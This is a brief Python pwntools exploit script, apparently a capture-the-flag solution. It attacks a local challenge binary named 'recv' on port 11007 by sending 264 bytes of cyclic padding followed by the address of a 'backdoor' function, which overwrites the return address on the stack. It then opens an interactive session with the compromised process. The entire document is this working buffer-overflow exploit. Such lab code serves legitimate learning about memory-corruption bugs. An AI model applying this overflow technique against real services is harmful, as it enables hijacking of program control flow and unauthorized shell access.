#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

elf = ELF('./recv')
sh = remote('127.0.0.1', 11007)

sh.sendline(cyclic(264) + p64(elf.sym['backdoor']))

sh.interactive()